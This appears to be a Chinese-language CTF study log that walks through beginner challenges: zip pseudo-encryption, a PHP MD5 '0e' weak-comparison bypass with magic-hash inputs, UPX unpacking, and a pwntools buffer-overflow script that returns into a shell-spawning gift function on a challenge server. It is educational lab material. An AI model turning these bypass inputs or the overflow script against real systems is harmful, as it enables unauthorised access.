2.6学习

ops/2025/2/22 19:51:43/

misc

buu-[GXYCTF2019]佛系青年

得到一个压缩包,需要密码才能解密010查看一下是真加密还是伪加密。看到是伪加密,将90改为00,得到文件

解压后是一个压缩包和一个文本文件,打开文本文件,看到最下方有一段密文,是佛经,解密得到flag

web

bugku-MD5

下载附件,看到的是一段代码这里可以看到是需要a不等于md51,但是二者的md5加密的结果相同(注意这个比较是弱比较),那么我们看看md51进行md5加密后的结果,这个是md5加密的结果的比较要相同

md5弱类型绕过
 0e绕过

    0e绕过的原理

科学记数法是一种记数的方法。

计算器表达10的幂一般是用E或e

如:2 760 000   =    2.76×10^6    =    2.76e6

           所以0e,无论后面跟什么值,都是0

    以下是常见的字符串md5值为0e开头

          原值                                 加密后的密文     

    QNKCDZO           0E830400451993494058024219903391
    240610708           0E462097431906509019562988736854
    s878926199a       0E545993274517709034328855841020
    s155964671a       0E342768416822451524974117254469
    s214587387a       0E848240448830537924465865611904

关于弱比较可以参考此文:1.10学习记录(弱比较)-CSDN博客 

所以我们进行get传参

http://117.72.52.127.19237/?a=s878926199a 

re

buu-新年快乐

得到附件,首先查壳,32位,upx壳

进行脱壳得到文件后用ida32打开,找到main函数

 strcpy函数:把含有'\0'结束符的字符串复制到另一个地址空间,返回值的类型为char*

memset函数:可以将指定内存区域设置为特定值,常用于对新分配的内存进行初始化[这里将str1初始化为32个0组成的字符串]

str2=“HappyNewYear!”

比较str2与str1的前strlen(str2)的字符,如果相同就输出“this is true flag!”

所以就是HappyNewYear!

所以提交flag{HappyNewYear!}

pwn

nss-[SWPUCTF 2021 新生赛]gift_pwn

得到附件首先checksec,没有保护机制64位ida64打开查看,查看main函数调用了vuln函数使用read函数,看到溢出点为buf[16],但是read函数可以输入0x64,这里就是溢出偏移量为0x10+0x8

然后看到gift函数可以看到这里直接调用了system函数,有bin/sh权限文件存在,双击看看,这里是我们需要将溢出返回的地址

from pwn import*
r=remote('node4.anna.nssctf.cn',28266)
r.sendline(b'a'*(0x10+0x8)+p64(0x4005B6))
r.interactive()

crypto

buu-[MRCTF2020]天干地支+甲子

下载附件得到的是一串文字,是天干地支记年法,根据题目的+甲子,应该是甲子(干支之一)

这里直接随波逐流解码就行


http://www.ppmy.cn/ops/160588.html

相关文章

论文概览 |《Urban Analytics and City Science》2023.10 Vol.50 Issue.8

本次给大家整理的是《Environment and Planning B: Urban Analytics and City Science》杂志2023年10月第50卷第8期的论文的题目和摘要,一共包括21篇SCI论文! 论文1 Advances in geospatial approaches to transport networks and sustainable mobility …

Spring统一功能处理:拦截器、响应与异常的统一管理

目录 一.拦截器 二.统一数据返回格式 三.统一异常处理 一.拦截器 拦截器是Spring框架提供的核功能之,主要来拦截的请求,在指定法前后,根据业务需要执预先设定的代码。 也就是说,允许开发员提前预定义些逻辑,在的请…

Vue.prototype 详解及使用

简介: 在 Vue.js 开发中,Vue.prototype 是一个强大的特性,允许开发者向所有 Vue 实例添加全局方法或属性。 一、Vue.prototype 的作用与原理 原型链继承 Vue 实例通过原型链继承 Vue.prototype 上的属性和方法。当在原型上添加属性或方法后…

[文末数据集]ML.NET库学习010:URL是否具有恶意性分类

文章目录 ML.NET库学习010:URL是否具有恶意性分类项目主要目的和原理项目概述主要功能和步骤总结数据集地址ML.NET库学习010:URL是否具有恶意性分类 项目主要目的和原理 项目主要目的: 本项目的目的是通过分析URL的特征,构建一个机器学习模型来判断给定的URL是否具有恶意…

Python实战:Excel中文转拼音工具开发教程

在日常办公中,我们经常需要处理Excel文件,有时候需要将中文转换为拼音缩写以方便检索和使用。今天我将分享一个使用Python开发的小工具,它可以自动将Excel文件中指定列的中文转换为拼音缩写。 C:\pythoncode\new\ConvertExcelcontentToPinyin…

AB-02 AUTOSAR builder创建工程

AUTOSAR builder创建工程 1. 创建工程2. 创建 ARXML1. 创建工程 在AUTOSAR builder中,通过FileNewAUTOSAR Project,创建一个空的AUTOSAR Project,如下图所示: 通过拖拽的方式,将需要配置EB Tresos工程中的arxml文件加载到AUTOSAR builder工程中,如下图: 或者通过File…

Python网络爬虫技术详解文档

Python网络爬虫技术详解文档 目录 网络爬虫概述爬虫核心技术解析常用Python爬虫库实战案例演示反爬虫机制与应对策略爬虫法律与道德规范高级爬虫技术资源推荐与学习路径1. 网络爬虫概述 1.1 什么是网络爬虫 网络爬虫(Web Crawler)是一种按特定规则自动抓取互联网信息的程序…

乐观锁与悲观锁:概念、实现与应用场景

文章目录 乐观锁与悲观锁:概念、实现与应用场景引言 1. 悲观锁(Pessimistic Locking)1.1 定义1.2 特点1.3 实现方式1.4 适用场景 2. 乐观锁(Optimistic Locking)2.1 定义2.2 特点2.3 实现方式2.4 适用场景 3. 乐观锁与…